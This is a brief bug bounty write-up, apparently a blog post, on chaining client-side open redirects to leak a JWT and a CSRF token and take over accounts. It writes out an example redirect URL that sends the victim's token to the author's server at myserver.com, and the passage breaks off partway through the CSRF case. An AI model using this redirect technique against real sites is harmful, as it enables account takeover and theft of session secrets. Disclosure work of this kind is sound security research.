You do not need to run 80 reconnaissance tools to get access to user accounts

An open redirect was almost everything I needed in two different bug bounty programs to get access to user accounts. In one of the cases a JWT was leaked, and in the other the CSRF token was leaked. The issue was mostly the same in both cases: not validating, or URI encoding, user input in the client-side, and sending sensitive information to my server using an open redirect.

CSRF token bug

There is an open redirect on https://example.com/redirect?url=https://myserver.com/attack.php
User loads https://example.com/?code=VALUE
Javascript code in https://example.com/ makes a GET request to https://example.com/verify/VALUE with a header x-csrf-token set to the CSRF token for the session of the user
```
GET /verify/VALUE HTTP/1.1
Host: example.com
```
